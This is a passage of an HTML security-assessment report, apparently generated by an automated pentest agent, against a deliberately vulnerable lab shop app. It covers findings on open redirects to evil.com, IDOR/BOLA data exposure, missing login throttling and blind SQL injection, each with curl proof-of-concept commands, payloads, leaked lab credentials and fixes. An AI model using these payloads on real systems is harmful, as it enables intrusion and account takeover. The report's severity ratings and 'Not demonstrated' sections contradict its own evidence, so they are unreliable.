HTTP 200 body: {"apiBaseUrl":"https://api.nimbuscart.test/v2","env":"qa","analyticsKey":"UA-NIMBUS-00000","supportApiKey":"nk_live_51Hc9admin[REDACTED]_share","_flagIfLeaked":"BURPAT{api_key_leak_config_9d22dadf}"}. The bundle self-flags leakage.</pre></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 10. GET /go?url= reflects an attacker-supplied external host into the 302 Location header with no allowlist <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-601</td><td class=fk>Confidence</td><td>0/1 · conf 0.05</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/go</td></tr><tr><td class=fk>Agent</td><td>open_redirect</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/go — GET /go, query parameter `url` (e.g. /go?url=https://evil.com)</p><h4>What it means</h4><p>Observed:
|
||||||
|
- GET /go?url=https://evil.com -> HTTP 302, Location: https://evil.com [E01]
|
||||||
|
- GET /go?url=//evil.com -> HTTP 302, Location: //evil.com [E02]
|
||||||
|
- GET /go?url=/account -> HTTP 302, Location: http://localhost:3000/account (control, internal) [E03]
|
||||||
|
|
||||||
|
Not demonstrated: victim browser navigates to attacker host.
|
||||||
|
|
||||||
|
Potential impact: Phishing/credential theft and trust abuse; can be chained into OAuth redirect_uri theft if this endpoint is used as a return target.</p><h4>How to fix it</h4><p>Do not pass user input straight into Location. Restrict `url` to a server-side allowlist of permitted hosts, or accept only relative paths — reject any value starting with a scheme, `//`, `\`, or containing `@`/an external host. Redirect to a mapped internal key rather than a raw URL.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -i 'http://localhost:3000/go?url=/account' # baseline: internal 302 to /account</pre></li><li><pre class=step>curl -s -i 'http://localhost:3000/go?url=https://evil.com' # attack: read the Location header</pre></li><li><pre class=step>Observe: HTTP/1.1 302 Found and Location: https://evil.com (external host)</pre></li><li><pre class=step>curl -s -i 'http://localhost:3000/go?url=//evil.com' # protocol-relative variant also works</pre></li></ol><h4>Payload</h4><pre class=payload>url=https://evil.com (also url=//evil.com)</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
Request: GET /go?url=https://evil.com -> HTTP/1.1 302 Found; Location: https://evil.com; body 'Found. Redirecting to https://evil.com'. Protocol-relative variant GET /go?url=//evil.com -> 302; Location: //evil.com (curl-resolved http://evil.com/). Control GET /go?url=/account -> 302 Location http://localhost:3000/account (stays internal), proving the param drives the destination with no host allowlist. PoC: pocs/open_redirect_go.sh</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/open_redirect_go.sh"><code>pocs/open_redirect_go.sh</code></a></li></ul></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 11. POST /login redirects a successfully-authenticated user to the `next` value; the absolute-URL filter is… <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-601</td><td class=fk>Confidence</td><td>0/1 · conf 0.05</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/login</td></tr><tr><td class=fk>Agent</td><td>open_redirect</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/login — POST /login, hidden form field `next` (rendered as <input type=hidden name=next>); value //evil.com</p><h4>What it means</h4><p>Observed:
|
||||||
|
- POST /login next=//evil.com (valid creds) -> HTTP 302, Location: //evil.com [E01]
|
||||||
|
- POST /login next=https://evil.com (valid creds) -> HTTP 302, Location: http://localhost:3000/account (filtered control) [E02]
|
||||||
|
- POST /login next=//evil.com repeated -> HTTP 302, Location http://evil.com/ [E03]
|
||||||
|
|
||||||
|
Not demonstrated: victim browser navigates to attacker host after login.
|
||||||
|
|
||||||
|
Potential impact: Post-authentication phishing and trust abuse; higher value than /go because the victim has just proven they trust the site by logging in.</p><h4>How to fix it</h4><p>Apply the same allowlist/relative-only rule to `next` as to /go. Reject values beginning with `//`, `\`, a scheme, or containing `@`; the existing check only blocks `scheme://`. Prefer resolving `next` against the app origin and confirming the resulting host equals the app host before redirecting.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -o /dev/null -A NeuroSploit http://localhost:3000/register --data-urlencode 'username=nrsplt_t' --data-urlencode 'email=nrsplt_t@example.test' --data-urlencode 'password=Nrsplt!123' # create test user</pre></li><li><pre class=step>curl -s -i 'http://localhost:3000/login' --data-urlencode 'username=nrsplt_t' --data-urlencode 'password=Nrsplt!123' --data-urlencode 'next=https://evil.com' # control: filtered -> Location /account</pre></li><li><pre class=step>curl -s -i 'http://localhost:3000/login' --data-urlencode 'username=nrsplt_t' --data-urlencode 'password=Nrsplt!123' --data-urlencode 'next=//evil.com' # attack: read Location header</pre></li><li><pre class=step>Observe: HTTP/1.1 302 Found and Location: //evil.com (external host)</pre></li></ol><h4>Payload</h4><pre class=payload>username=<valid>&password=<valid>&next=//evil.com</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
After a SUCCESSFUL login the server 302s to `next`. Absolute next=https://evil.com is filtered -> 302 Location http://localhost:3000/account. Protocol-relative next=//evil.com BYPASSES the filter -> HTTP/1.1 302 Found; Location: //evil.com (curl-resolved http://evil.com/). Reproduced twice. PoC: pocs/open_redirect_login_next.sh</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/open_redirect_login_next.sh"><code>pocs/open_redirect_login_next.sh</code></a></li></ul></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 12. BOLA + excessive data exposure: customer JWT dumps any user's full record (plaintext password, apiKey) at GET… <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>0/1 · conf 0.05</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/api/v2/users/1</td></tr><tr><td class=fk>Agent</td><td>idor</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_SCOPE_LIMITATION: the impact needs authenticated_session which this assessment could not reach; the mechanic stands · missing: an access-control claim needs the same resource requested as another identity</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/api/v2/users/1 — GET /api/v2/users/:id — numeric :id. Valid Bearer JWT required, but no ownership/role check, and the response serializes the entire user row (password, apiKey, role, balance).</p><h4>What it means</h4><p>Observed:
|
||||||
|
- No token -> 401. With customer id40's JWT: GET /api/v2/users/1 -> 200 {"id":1,"username":"admin","email":"admin@nimbuscart.test","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9adminSECRETkeydonot_share","_flag":"BURPAT{api_excessive_data_users_17874d4a}"}. /users/2 -> alice (admin, password 'alice123', apiKey nk_live_alice_8f2c1a4b); /users/3 -> bob. Attacker is a plain customer (id40). [E01]
|
||||||
|
|
||||||
|
Not demonstrated: Measured: a plain-customer token read the admin account's full row — plaintext password 'SuperSecretAdmin!2024', live apiKey 'nk_live_51Hc9adminSECRETkeydonot_share', role=admin, balance 500000 — plus the same for alice (admin) and bob. This is full account takeover of every user, including admins, by ID enumeration (ids sequential from 1). Vertical privilege escalation is directly achievable with the leaked admin credentials.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
|
||||||
|
The assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one.
|
||||||
|
|
||||||
|
Potential impact: Measured: a plain-customer token read the admin account's full row — plaintext password 'SuperSecretAdmin!2024', live apiKey 'nk_live_51Hc9adminSECRETkeydonot_share', role=admin, balance 500000 — plus the same for alice (admin) and bob. This is full account takeover of every user, including admins, by ID enumeration (ids sequential from 1). Vertical privilege escalation is directly achievable with the leaked admin credentials.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Enforce object-level authorization (id === token id, or admin) on /api/v2/users/:id, and use a strict output DTO that never serializes password/apiKey. Store passwords hashed (bcrypt/argon2), never plaintext; rotate the exposed admin password and API keys.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -c a.jar --data-urlencode 'username=poc3' --data-urlencode 'email=poc3@example.test' --data-urlencode 'password=Pw_3!aa' http://localhost:3000/register</pre></li><li><pre class=step>T=$(curl -s -b a.jar http://localhost:3000/account/api-token | grep -oE 'eyJ[A-Za-z0-9_.-]+')</pre></li><li><pre class=step># control: curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/v2/users/1 -> 401</pre></li><li><pre class=step>curl -s -H "Authorization: Bearer $T" http://localhost:3000/api/v2/users/1</pre></li><li><pre class=step># observe admin's plaintext password + apiKey returned to a customer token</pre></li></ol><h4>Payload</h4><pre class=payload>GET /api/v2/users/1 (admin) with a low-privilege customer's Bearer JWT</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
No token -> 401. With customer id40's JWT: GET /api/v2/users/1 -> 200 {"id":1,"username":"admin","email":"admin@nimbuscart.test","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9adminSECRETkeydonot_share","_flag":"BURPAT{api_excessive_data_users_17874d4a}"}. /users/2 -> alice (admin, password 'alice123', apiKey nk_live_alice_8f2c1a4b); /users/3 -> bob. Attacker is a plain customer (id40).</pre></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 13. POST /login accepted 25 failed attempts for one user with no 429, no Retry-After, no RateLimit-* header and… <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A07:2021-Auth-Failures · CWE-307</td><td class=fk>Confidence</td><td>0/1 · conf 0.05</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/login</td></tr><tr><td class=fk>Agent</td><td>account_registration_and_forms</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_SCOPE_LIMITATION: the impact needs command_output_observed which this assessment could not reach; the mechanic stands · missing: the difference was observed 0 time(s); this class needs it to reproduce</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/login — POST /login, repeated failed attempts for a single `username` — response never throttles</p><h4>What it means</h4><p>Observed:
|
||||||
|
- POST /login wrong pass -> 302 /login?err=...no lockout enforced [E01]
|
||||||
|
- 25 consecutive failed POSTs -> all 302, 429 count = 0, no Retry-After/RateLimit headers [E02]
|
||||||
|
- POST /login correct pass -> 302 /account (failures are genuine) [E03]
|
||||||
|
|
||||||
|
Not demonstrated: credential brute-force / password spraying.
|
||||||
|
The assessment could not verify command output observed — so this remains a potential impact rather than a demonstrated one.
|
||||||
|
|
||||||
|
Potential impact: Absent throttling permits offline-speed online guessing; combined with a weak password an account could be taken over.</p><h4>How to fix it</h4><p>Add per-account and per-IP throttling with exponential backoff and temporary lockout on POST /login (e.g. express-rate-limit + failed-attempt counter); return 429 with Retry-After when exceeded.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>for i in $(seq 1 25); do curl -s -o /dev/null -w '%{http_code} ' --data-urlencode 'username=nrsplt_5e5001b1' --data-urlencode "password=wrong$i" http://localhost:3000/login; done</pre></li><li><pre class=step># observe: all 302, no 429</pre></li><li><pre class=step>curl -s -D- -o /dev/null --data-urlencode 'username=nrsplt_5e5001b1' --data-urlencode 'password=x' http://localhost:3000/login | grep -iE 'ratelimit|retry-after|location'</pre></li><li><pre class=step># baseline success: curl -s -D- -o /dev/null --data-urlencode 'username=nrsplt_5e5001b1' --data-urlencode 'password=NrSplt!d4e885Aa9' http://localhost:3000/login | grep -i location # -> /account</pre></li></ol><h4>Payload</h4><pre class=payload>username=nrsplt_5e5001b1&password=wrong1 ... wrong25 (25 consecutive failures)</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
25 consecutive wrong-password POSTs all returned HTTP 302 -> Location: /login?err=Invalid%20credentials%20(attempt%20%231%2C%20no%20lockout%20enforced). Zero 429 responses, no Retry-After, no RateLimit-* headers, no lockout. Server's own error string states 'no lockout enforced'. Good password still returns 302 -> /account, so failures are genuine rejections.</pre></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 14. The maxPrice value is concatenated into a backend SQL WHERE clause; an injected boolean expression is… <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-89</td><td class=fk>Confidence</td><td>0/1 · refute 1/2 · conf 0.05</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/shop/filter</td></tr><tr><td class=fk>Agent</td><td>sqli_blind</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: no baseline was captured, so no difference can be attributed to the payload; the difference was observed 0 time(s); this class needs it to reproduce</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/shop/filter — GET /shop/filter, query parameter `maxPrice` — value concatenated into the WHERE clause of the product-price SQL query</p><h4>What it means</h4><p>Observed:
|
||||||
|
- GET /shop/filter?maxPrice=1000 -> HTTP 200, 5 products, body len 1580 [E01]
|
||||||
|
- GET /shop/filter?maxPrice=1000 AND 1=1 -> HTTP 200, 5 products, len 1588 [E02]
|
||||||
|
- GET /shop/filter?maxPrice=1000 AND 1=2 -> HTTP 200, 0 products, len 1209 [E03]
|
||||||
|
- '1'='1' -> 5 products ; '1'='2' -> 0 products (string context) [E04]
|
||||||
|
- 'a'||'b'='ab' -> 5 ; 0x10>1 -> 5 ; 1e3>1 -> 5 ; TRUE -> 5 (SQL dialect confirmation) [E05]
|
||||||
|
- oracle reproduced 3/3: TRUE=5 products, FALSE=0 products [E06]
|
||||||
|
- pocs/blind_sqli_maxprice.sh executed: TRUE=5 FALSE=0 across 3 runs [E08]
|
||||||
|
|
||||||
|
Not demonstrated: Stored database contents can be extracted via the boolean oracle.
|
||||||
|
|
||||||
|
Potential impact: If the identifier/keyword denylist is bypassed (blocklists commonly are), the confirmed boolean oracle enables full char-by-char extraction of arbitrary tables (user credentials, PII) and authentication-context manipulation. Not demonstrated here — every extraction vector attempted was blocked (E07).</p><h4>How to fix it</h4><p>Replace string concatenation with a parameterised/prepared query for the maxPrice filter (bind maxPrice as a numeric parameter, e.g. `WHERE price <= ?`), and reject non-numeric maxPrice input server-side with a numeric cast/validation. Do not rely on the keyword denylist as the control — it is a blocklist and is bypassable.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s 'http://localhost:3000/shop/filter?maxPrice=1000' | grep -c 'class="product"' # baseline => 5</pre></li><li><pre class=step>curl -s 'http://localhost:3000/shop/filter?maxPrice=1000%20AND%201=1' | grep -c 'class="product"' # TRUE => 5</pre></li><li><pre class=step>curl -s 'http://localhost:3000/shop/filter?maxPrice=1000%20AND%201=2' | grep -c 'class="product"' # FALSE => 0</pre></li><li><pre class=step>curl -s "http://localhost:3000/shop/filter?maxPrice=1000%20AND%20'1'='1'" | grep -c 'class="product"' # TRUE => 5</pre></li><li><pre class=step>curl -s "http://localhost:3000/shop/filter?maxPrice=1000%20AND%20'a'||'b'='ab'" | grep -c 'class="product"' # SQL concat TRUE => 5</pre></li><li><pre class=step>Read result: 5 product blocks = condition TRUE, 0 = condition FALSE. The only variable between the two attack requests is the boolean, proving the SQL engine evaluates injected input.</pre></li><li><pre class=step>bash /opt/neurosploit-rs/runs/ns-1789870577-localhost_3000/pocs/blind_sqli_maxprice.sh</pre></li></ol><h4>Payload</h4><pre class=payload>maxPrice=1000 AND 1=1 (TRUE -> 5 products) vs maxPrice=1000 AND 1=2 (FALSE -> 0 products)</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
Baseline GET /shop/filter?maxPrice=1000 -> HTTP 200, 5 `class="product"` blocks (len 1580). Attack ?maxPrice=1000 AND 1=2 -> HTTP 200, 0 products (len 1209). ?maxPrice=1000 AND 1=1 -> 5 products. String context identical: '1'='1' -> 5, '1'='2' -> 0. Backend is SQL (SQLite/PG dialect): 'a'||'b'='ab' -> 5 (SQL string concat), 0x10>1 -> 5 (hex literal), 1e3>1 -> 5 (sci notation), TRUE -> 5, chained 2>1 AND 3>2 -> 5 — operator precedence and literal typing match a real SQL engine, not app string-matching. Oracle reproducible 3/3 (TRUE=5, FALSE=0). DATA EXTRACTION NOT ACHIEVED: an identifier/keyword denylist returns 0 rows for any of SELECT, FROM, UNION, VALUES, EXISTS, IS/NULL, LIKE/GLOB/BETWEEN/IN, CASE/CAST and every function call (substr/length/hex/abs/typeof -> 0) and bare column references (name/price/id/rowid -> 0), so no stored value could be read char-by-char in testing. PoC: pocs/blind_sqli_maxprice.sh</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/blind_sqli_maxprice.sh"><code>pocs/blind_sqli_maxprice.sh</code></a></li></ul></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 15. IDOR: any authenticated user reads any customer invoice at GET /account/invoice/:id <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>0/1 · conf 0.05</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/account/invoice/1001</td></tr><tr><td class=fk>Agent</td><td>idor</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: an access-control claim needs the same resource requested as another identity</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/account/invoice/1001 — GET /account/invoice/:id — the numeric :id path segment. No per-object ownership check; a logged-in session for any user returns the invoice regardless of owner.</p><h4>What it means</h4><p>Observed:
|
||||||
|
- Baseline: GET /account/invoice/1 -> 404 'Invoice not found'. Attack as user A (nrsplt_a_14209, id40, who owns NO orders): GET /account/invoice/1001 -> HTTP 200 body: '<h1>Invoice #1001</h1> ... <p>Customer: alice</p> <p>Total: $29.99</p> <p>Notes: Standard shipping.</p>' plus app self-attestation 'IDOR confirmed: viewing another customer's invoice (owner: alice) ... Flag: BURPAT{web_idor_invoice_aa8eeaa3}'. Same request as user B (id41) -> 200 identical alice data. Without any cookie -> 302 (redirect to login), so authentication is required but object-level authorization is absent. Reproduced 200 across A and B sessions. [E01]
|
||||||
|
|
||||||
|
Not demonstrated: Measured: a freshly-registered customer (id40) with zero orders retrieved invoice #1001 in full — another customer's name (alice), order total ($29.99) and shipping notes. IDs are sequential from 1001 (1001=alice, 1002=bob, 1003=user4), so all customer invoices are enumerable and readable by any authenticated user.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
|
||||||
|
|
||||||
|
Potential impact: Measured: a freshly-registered customer (id40) with zero orders retrieved invoice #1001 in full — another customer's name (alice), order total ($29.99) and shipping notes. IDs are sequential from 1001 (1001=alice, 1002=bob, 1003=user4), so all customer invoices are enumerable and readable by any authenticated user.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>In the /account/invoice/:id handler, load the invoice/order and verify order.userId === req.session.userId (or the caller is an admin) before rendering; return 404/403 otherwise. Do not rely on an unguessable id — enforce a server-side ownership check.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -c a.jar --data-urlencode 'username=poc1' --data-urlencode 'email=poc1@example.test' --data-urlencode 'password=Pw_1!aa' http://localhost:3000/register</pre></li><li><pre class=step># attacker account owns no orders; now read another customer's invoice:</pre></li><li><pre class=step>curl -s -b a.jar http://localhost:3000/account/invoice/1001</pre></li><li><pre class=step># observe: HTTP 200, 'Customer: alice', Total $29.99 — data belonging to userId 2 (alice), not the attacker</pre></li><li><pre class=step># control: curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/account/invoice/1001 -> 302 (auth required, but no owner check once authed)</pre></li></ol><h4>Payload</h4><pre class=payload>GET /account/invoice/1001 with the session cookie of a different user (id 40 / id 41)</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
Baseline: GET /account/invoice/1 -> 404 'Invoice not found'. Attack as user A (nrsplt_a_14209, id40, who owns NO orders): GET /account/invoice/1001 -> HTTP 200 body: '<h1>Invoice #1001</h1> ... <p>Customer: alice</p> <p>Total: $29.99</p> <p>Notes: Standard shipping.</p>' plus app self-attestation 'IDOR confirmed: viewing another customer's invoice (owner: alice) ... Flag: BURPAT{web_idor_invoice_aa8eeaa3}'. Same request as user B (id41) -> 200 identical alice data. Without any cookie -> 302 (redirect to login), so authentication is required but object-level authorization is absent. Reproduced 200 across A and B sessions.</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/idor-01-1.png" alt="proof for IDOR: any authenticated user reads any customer invoice at GET /account/invoice/:id"><figcaption>evidence/idor-01-1.png</figcaption></figure></div></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 16. BOLA: JWT holder reads any user's order at GET /api/v2/orders/:id <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>0/1 · conf 0.05</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/api/v2/orders/1001</td></tr><tr><td class=fk>Agent</td><td>idor</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: an access-control claim needs the same resource requested as another identity</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/api/v2/orders/1001 — GET /api/v2/orders/:id — numeric :id. Requires a valid Bearer JWT (from /account/api-token) but performs no check that order.userId matches the token's id.</p><h4>What it means</h4><p>Observed:
|
||||||
|
- No token -> HTTP 401 {"error":"missing bearer token"}. With customer id40's JWT: GET /api/v2/orders/1001 -> 200 {"id":1001,"userId":2,...,"total":29.99,"invoiceNotes":"Standard shipping.","_flag":"BURPAT{api_bola_orders_d7db9dc8}"}; /1002 -> userId 3 total 89.99 'Gift wrap requested.'; /1003 -> userId 4 total 349 'internal note: VIP customer, unlimited return window.' Attacker (id40) owns none of these. Reproduced 200 twice on /1001. [E01]
|
||||||
|
|
||||||
|
Not demonstrated: Measured: customer id40 read orders belonging to userId 2, 3 and 4 — each order's line items, totals and free-text invoice notes (including an 'internal note: VIP customer, unlimited return window'). Order IDs are sequential from 1001, so the full order table is enumerable via one customer token.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
|
||||||
|
|
||||||
|
Potential impact: Measured: customer id40 read orders belonging to userId 2, 3 and 4 — each order's line items, totals and free-text invoice notes (including an 'internal note: VIP customer, unlimited return window'). Order IDs are sequential from 1001, so the full order table is enumerable via one customer token.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>In the /api/v2/orders/:id handler enforce order.userId === decodedJwt.id (or admin role) after loading the record; return 404/403 on mismatch. Also drop the internal `invoiceNotes`/`_flag` fields from the customer-facing response (BOPLA).</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -c a.jar --data-urlencode 'username=poc2' --data-urlencode 'email=poc2@example.test' --data-urlencode 'password=Pw_2!aa' http://localhost:3000/register</pre></li><li><pre class=step>T=$(curl -s -b a.jar http://localhost:3000/account/api-token | grep -oE 'eyJ[A-Za-z0-9_.-]+')</pre></li><li><pre class=step># control (no token): curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/v2/orders/1001 -> 401</pre></li><li><pre class=step>curl -s -H "Authorization: Bearer $T" http://localhost:3000/api/v2/orders/1001</pre></li><li><pre class=step>curl -s -H "Authorization: Bearer $T" http://localhost:3000/api/v2/orders/1002</pre></li><li><pre class=step># observe distinct owners (userId 2,3,4) and their totals/internal notes</pre></li></ol><h4>Payload</h4><pre class=payload>GET /api/v2/orders/1001 (and 1002, 1003) with a low-privilege customer's Bearer JWT</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
No token -> HTTP 401 {"error":"missing bearer token"}. With customer id40's JWT: GET /api/v2/orders/1001 -> 200 {"id":1001,"userId":2,...,"total":29.99,"invoiceNotes":"Standard shipping.","_flag":"BURPAT{api_bola_orders_d7db9dc8}"}; /1002 -> userId 3 total 89.99 'Gift wrap requested.'; /1003 -> userId 4 total 349 'internal note: VIP customer, unlimited return window.' Attacker (id40) owns none of these. Reproduced 200 twice on /1001.</pre></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 17. Benign test account self-registered (capability for authenticated testing) <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A07:2021-Auth-Failures · CWE-620</td><td class=fk>Confidence</td><td>0/1 · conf 0.05</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/register</td></tr><tr><td class=fk>Agent</td><td>account_registration_and_forms</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: out of reach for this assessment: no deterministic validator owns CWE-620</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/register — POST /register, x-www-form-urlencoded fields username,email,password</p><h4>What it means</h4><p>Observed:
|
||||||
|
- POST /register -> HTTP 302 Location: /account, Set-Cookie nimbus.sid (HttpOnly). GET /account with cookie renders 'My Account (nrsplt_5e5001b1)', badge 'customer', Balance $100.00. Login POST /login with same creds -> 302 /account (account persists). No email verification required. [E01]
|
||||||
|
|
||||||
|
Not demonstrated: Self-registration open with no email verification; created one benign customer account and a reusable session for downstream authenticated testing. Not a vulnerability by itself.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
|
||||||
|
|
||||||
|
Potential impact: Self-registration open with no email verification; created one benign customer account and a reusable session for downstream authenticated testing. Not a vulnerability by itself.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>If open signup is intended, add email verification before activation; otherwise gate registration. Delete test account nrsplt_5e5001b1@example.test after engagement.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -i --data-urlencode 'username=nrsplt_5e5001b1' --data-urlencode 'email=nrsplt_5e5001b1@example.test' --data-urlencode 'password=NrSplt!d4e885Aa9' -c cj.txt http://localhost:3000/register</pre></li><li><pre class=step>curl -s -b cj.txt http://localhost:3000/account | grep 'My Account'</pre></li><li><pre class=step>curl -s -i --data-urlencode 'username=nrsplt_5e5001b1' --data-urlencode 'password=NrSplt!d4e885Aa9' http://localhost:3000/login # -> 302 /account</pre></li></ol><h4>Payload</h4><pre class=payload>username=nrsplt_5e5001b1&email=nrsplt_5e5001b1@example.test&password=NrSplt!d4e885Aa9</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
